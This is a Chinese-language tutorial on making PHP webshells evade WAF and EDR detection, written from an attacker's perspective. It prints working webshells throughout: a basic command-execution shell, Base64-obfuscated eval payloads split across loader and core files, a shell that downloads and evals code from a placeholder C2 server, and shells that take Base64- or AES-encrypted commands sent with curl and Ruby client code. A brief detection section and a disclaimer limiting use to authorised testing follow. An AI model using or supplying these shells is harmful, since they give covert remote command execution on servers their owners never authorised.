一、从防御视角到攻击思维

Webshell 是攻击者长久以来在 Web 渗透中使用的重要武器,而针对 Webshell 检测和防御的技术也在不断演进。从传统的特征检测到基于行为的 AI 模型,防御方在不断加码。然而,反过来思考,防御的强势驱使攻击者不得不进化出更高超的技术,Webshell 的免杀技术便是其中的重要方向。

如果我要绕过现代的 WAF(Web 应用防火墙)和 EDR(端点检测响应系统)来植入 Webshell,我会从以下几个方面入手:特征混淆、动态加载、文件伪装、协议伪装、代码生成功能 等方式逐步增强 Webshell 的隐匿性。本文将从攻击的完整链路,详细讲解如何构造高隐匿性的 Webshell 并实现免杀。

二、环境搭建:做实验前的准备工作

要想研究 Webshell 绕过技术,首先需要搭建一套对抗环境。这套环境既要包含常见的检测系统,也要便于我们模拟攻击过程。

黑客示意图

环境清单

  1. 目标服务器:一台运行 Apache 或 Nginx 的 Web 服务,可以搭建在本地,也可以使用云服务器。
  2. WAF 防护:部署开源的 ModSecurity 或商业 WAF(如阿里云云盾)。
  3. 检测工具:主要使用 YARA 规则检测 Webshell 文件特征。
  4. 攻击工具:支持 Ruby 和 Shell 脚本调试(推荐 Kali Linux 环境)。
  5. 语言支持:目标服务器需要支持 PHP 或其他动态语言(如 ASP、JSP)。

<pre><code class="language-shell"># 在 Ubuntu 环境中快速安装 Apache 和 PHP sudo apt update sudo apt install apache2 php libapache2-mod-php sudo systemctl enable apache2 sudo systemctl start apache2</code></pre>

测试方法验证

确认环境搭建完成后,我们需要部署一个简单的 Webshell,验证是否能够被访问以及是否能够触发 WAF 或检测工具的告警。例如,上传一个经典的 PHP Webshell:

<pre><code class="language-php">&lt;?php if (isset($_GET[&#039;cmd&#039;])) { system($_GET[&#039;cmd&#039;]); } ?&gt;</code></pre>

保存为 shell.php 并上传到 Web 目录,然后通过浏览器访问 http://your_server/shell.php?cmd=id。同时打开 WAF 的日志,确认是否记录了拦截信息。

这一过程帮助我们验证目标环境的检测能力,为后续免杀技术的实现提供参考依据。

三、代码伪装与动态加载:避开特征检测

现代防护手段对 Webshell 的特征检测主要依赖于两点:静态特征行为特征。静态特征基于文件的固定代码模式或关键字,而行为特征关注 Webshell 的执行过程,例如远程命令执行、文件上传等。

静态免杀:代码混淆与分离

直接上传一个经典 Webshell 文件极易被静态规则拦截,因此我们需要对代码进行混淆和分离处理。

以下是一个简单的 PHP Webshell 混淆示例:

黑客示意图

<pre><code class="language-php">&lt;?php $cmd = base64_decode(&quot;ZWNobyBzeXN0ZW0oJ2lkJyk7&quot;); // 解码后是 system(&#039;id&#039;); eval($cmd); ?&gt;</code></pre>

通过将命令写入 Base64 编码后再调用 eval 执行,能有效绕过部分基于特征字符串的检测。同时,进一步应用分离技术,将核心代码分散到多个文件或模块中。例如:

  • loader.php 负责加载核心逻辑。
  • core.php 存储实际执行的代码。

黑客示意图

<pre><code class="language-php">// loader.php include(&#039;core.php&#039;); run_payload();</code></pre>

<pre><code class="language-php">// core.php function run_payload() { eval(base64_decode(&quot;ZWNobyBzeXN0ZW0oJ2lkJyk7&quot;)); // 解码后是 system(&#039;id&#039;); }</code></pre>

动态免杀:临时加载代码

为了降低文件落地带来的风险,可以将 Webshell 的核心代码以动态方式从内存中加载。例如:

<pre><code class="language-php">&lt;?php $content = file_get_contents(&#039;http://your_c2_server/payload.txt&#039;); // 从远程服务器加载 eval($content); // 直接执行动态代码 ?&gt;</code></pre>

这种方法的关键在于隐藏远程服务器的真实地址,例如通过 CDN 或中转代理进一步伪装。

四、多层伪装与协议对抗:与 WAF 的较量

现代 WAF 能够检测命令执行行为,其核心是通过分析 HTTP 请求中的参数。所以我们需要设计一种方式,既能传递命令又不触发告警。

使用无害参数传递命令

假设我们需要传递 ls /var/www 这一命令,可以通过以下方式绕过 WAF:

<pre><code class="language-php">&lt;?php if (isset($_POST[&#039;action&#039;])) { system(base64_decode($_POST[&#039;action&#039;])); // POST 数据使用 Base64 编码传参 } ?&gt;</code></pre>

攻击者在发送请求时,可以将命令进行 Base64 编码后作为参数传递:

<pre><code class="language-shell">curl -X POST -d &quot;action=$(echo &#039;ls /var/www&#039; | base64)&quot; http://your_server/shell.php</code></pre>

WAF 很难判别 Base64 编码后的内容是否包含恶意命令,这使得绕过检测变得更容易。

隐藏通信流量

进一步提升隐匿性,可以通过替代协议或加密通信避免被流量分析。以下是一个使用自定义协议的示例:

<pre><code class="language-php">&lt;?php $data = file_get_contents(&#039;php://input&#039;); // 接收 RAW 数据 $cmd = openssl_decrypt($data, &#039;AES-128-CBC&#039;, &#039;secret_key&#039;, 0, &#039;iviviviviviviviv&#039;); // 解密后执行 system($cmd); ?&gt;</code></pre>

攻击者发送请求时需要先对命令进行加密:

<pre><code class="language-ruby">require &#039;openssl&#039; cipher = OpenSSL::Cipher.new(&#039;AES-128-CBC&#039;) cipher.encrypt cipher.key = &#039;secret_key&#039; cipher.iv = &#039;iviviviviviviviv&#039; encrypted = cipher.update(&#039;ls /var/www&#039;) + cipher.final</code></pre>

将加密后的数据通过 POST 请求发送到目标 Webshell,即可完成远程命令执行。

五、检测与防御:如何抵御这种攻击

虽然 Webshell 的免杀技术日新月异,但依然有思路可以检测和拦截这些攻击行为。

基于文件的检测

  1. YARA 规则:通过定义复杂的规则,检测混淆后的代码模式。
  2. 文件完整性监控:对 Web 目录进行定期扫描,检测新增和修改文件。

基于流量的检测

  1. 解码分析:捕获 HTTP 请求并尝试解码 Base64、AES 等常见加密格式。
  2. 行为分析:通过机器学习模型识别异常的流量模式,例如频繁的动态命令执行。

六、我的一些心得体会

在对抗的过程中,我逐渐意识到攻击与防御是一个永恒的博弈。每当防御技术进步,攻击者也会随之调整策略。作为研究者,我们需要不断反思和学习,才能在这场对抗中保持领先。

合法声明:本文中的技术仅限于授权环境下的安全测试,切勿用于非法用途,否则后果自负。